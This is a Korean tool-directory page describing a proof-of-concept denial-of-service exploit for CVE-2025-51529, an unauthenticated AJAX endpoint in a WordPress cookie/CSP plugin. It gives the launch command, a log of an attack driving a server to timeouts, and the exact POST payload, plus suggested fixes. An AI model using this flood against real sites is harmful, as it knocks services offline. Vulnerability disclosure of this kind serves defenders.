Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-51529 — jonkastonka Cookies and Content Security Policy 플러그인의 AJAX 엔드포인트 기능에서의 잘못된 접근 제어 (버전 2.29까지) | Kitploit
도구/GitHubGitHub/piotrmaciejbednarski/cve-2025-51529
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubpiotrmaciejbednarski/cve-2025-51529

CVE-2025-51529

jonkastonka Cookies and Content Security Policy 플러그인의 AJAX 엔드포인트 기능에서의 잘못된 접근 제어 (버전 2.29까지)

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트
61년 전아직 검토되지 않음

CVE-2025-51529: WordPress Cookies and Content Security Policy 플러그인 DoS 취약점

wp_ajax_nopriv_cacsp_insert_consent_data 엔드포인트로의 무제한 데이터베이스 쓰기 작업을 통해 jonkastonka Cookies and Content Security Policy 플러그인 (버전 2.29까지)의 AJAX 엔드포인트 기능 내 잘못된 접근 제어로 인해 원격 공격자가 서비스 거부(데이터베이스 서버 리소스 고갈)를 일으킬 수 있습니다.

취약점은 cacsp_insert_consent_data() 함수에 존재하며, 이 함수는 인증 없이 WordPress의 AJAX 엔드포인트(wp-admin/admin-ajax.php)를 통해 노출됩니다. 플러그인은 wp_ajax_nopriv_ 액션을 사용하므로 인증되지 않은 사용자도 접근할 수 있습니다.

공격 벡터: 원격 공격자는 동시에 무제한의 POST 요청을 보내 데이터베이스 서버에 쓰기 작업을 과부하시켜 CPU 및 디스크 I/O를 고갈시킬 수 있습니다.

취약점 세부 정보

  • CVE ID: CVE-2025-51529
  • 상태: RESERVED
  • 유형: 잘못된 접근 제어 / 서비스 거부
  • 제품: Cookies and Content Security Policy 플러그인 (버전 2.29까지)
  • 공급업체: Johan Jonk Stenstroem (jonkastonka)
  • 영향을 받는 함수: cacsp_insert_consent_data()
  • 공격 벡터: 원격
  • 발견자: Piotr Bednarski

요구 사항

  • Python 3.x
  • requests
  • matplotlib
  • threading

사용법

PoC 스크립트의 기본 사용법은 다음과 같습니다.

root@kitploit:~
python payload.py --target <target_url> --threads <number_of_threads>

기본적으로 스레드 수는 100으로 설정되어 있습니다. 두 번째 인자로 다른 스레드 수를 지정할 수 있습니다.

예제 출력

DoS 공격 차트

root@kitploit:~
Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100): 

Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack

[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding

작동 방식

이 익스플로잇은 다음 데이터와 함께 /wp-admin/admin-ajax.php로 POST 요청을 보냅니다.

root@kitploit:~
data = {
    'action': 'cacsp_insert_consent_data',
    'accepted_cookies': 'necessary,experience,analytics,marketing',
    'expires': "9" * 255  # Maximum TINYTEXT length
}

각 성공적인 요청은 다음을 포함하는 새로운 데이터베이스 행을 삽입합니다.

  • 타임스탬프 (19바이트)
  • IP 주소 (~13바이트)
  • 쿠키 기본 설정 (가변)
  • 만료 데이터 (최대 255바이트)
  • 사이트 ID (1바이트)
  • MySQL 오버헤드 (~22바이트)

결과: 요청당 ~89바이트 × 무제한 요청 = 빠른 데이터베이스 증가

권장 수정 사항

  • AJAX 호출에 대해 nonce 검증 추가
  • IP당 속도 제한 구현
  • 사용자 입력 적절히 검증

면책 조항

이 PoC는 교육 목적으로만 제공됩니다. 작성자는 이 코드의 사용으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 항상 시스템을 테스트하기 전에 허가를 받으십시오.

도구 다운로드